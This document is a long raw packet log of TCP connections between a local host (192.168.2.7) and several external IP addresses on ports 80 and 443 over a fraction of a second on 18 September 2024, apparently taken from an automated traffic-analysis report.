Sep 18, 2024 14:30:10.205292940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205293894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205307007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205317974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205318928 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205329895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205336094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205343962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205355883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205368042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205369949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205380917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205390930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205401897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205406904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205418110 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205421925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205434084 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205440044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205452919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205462933 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205463886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205476999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205487967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205487967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205499887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205508947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205513954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205523968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205527067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205539942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205550909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205553055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205563068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205574989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205585957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205585957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205599070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205610991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205614090 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205624104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205635071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205636978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205646038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205648899 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205658913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205670118 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205674887 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.205682039 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205693007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205701113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205701113 CEST	443	49721	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.205704927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205758095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205955982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205969095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205979109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205990076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205992937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206001997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206013918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206022024 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206043005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206054926 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206058025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206070900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206073046 CEST	443	49721	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.206084013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206093073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206095934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206099987 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206109047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206119061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206135035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206136942 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.206145048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206156015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206156015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206168890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206178904 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206180096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206192017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206193924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206207991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206207991 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206222057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206233025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206232071 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206243992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206254959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206254959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206265926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206276894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206280947 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206288099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206299067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206305027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206316948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206321001 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206322908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206330061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206341028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206351995 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206351995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206363916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206376076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206378937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206387997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.206399918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206399918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206417084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206418991 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.206429005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206438065 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206442118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206453085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206464052 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206465960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206475973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206489086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206490040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206500053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206510067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206511974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206522942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206523895 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206535101 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206546068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206549883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206558943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206569910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206579924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206587076 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206590891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206603050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206603050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206617117 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206626892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206645012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206667900 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206851959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206867933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206881046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206886053 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206892967 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206901073 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206903934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206918001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206921101 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206928968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206935883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206940889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206952095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206963062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206964016 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206974030 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206978083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206984997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.206994057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.206996918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207009077 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207017899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207026005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207039118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207045078 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207051992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207062006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207063913 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207072973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207084894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207087040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207096100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207108021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207114935 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207119942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207129955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207132101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207144022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207154989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207155943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207165956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207179070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207190037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207194090 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207205057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207216978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207227945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207227945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207227945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207240105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207250118 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207253933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207266092 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207277060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207278013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207288027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207295895 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207302094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207310915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207314014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207324982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207338095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207339048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207350016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207360983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207369089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207371950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207396984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207408905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207408905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207410097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207422018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207432985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207436085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207446098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207458019 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207459927 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207485914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207499027 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207760096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207773924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207784891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207797050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207797050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207808971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207811117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207823038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207830906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207835913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207848072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207859039 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207859993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207870960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207875967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207884073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207892895 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207895994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207907915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207917929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.207922935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207937002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207953930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207956076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207962990 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.207966089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207979918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.207989931 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.207993031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208005905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208014011 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208017111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208028078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208034039 CEST	49721	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.208034039 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208039045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208050013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208059072 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208060980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208072901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208086014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208089113 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208100080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208100080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208112001 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208122969 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208127975 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208141088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208148956 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208152056 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208163977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208168983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208175898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208188057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208199978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208200932 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208213091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208225965 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208226919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208239079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208246946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208250046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208261013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208266020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208272934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208286047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208287001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208297968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208306074 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208309889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208323956 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208329916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208336115 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208354950 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208358049 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208367109 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208373070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208380938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208393097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208398104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208429098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208621025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208632946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208646059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208653927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208657980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208668947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208679914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208682060 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208692074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208703041 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208703995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208714008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208718061 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208724976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208735943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208745956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208748102 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208758116 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.208766937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.208767891 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208779097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208796024 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208798885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208811998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208818913 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208825111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208830118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208832026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.208842993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208849907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208853960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208864927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208865881 CEST	80	49704	147.45.44.104	192.168.2.7
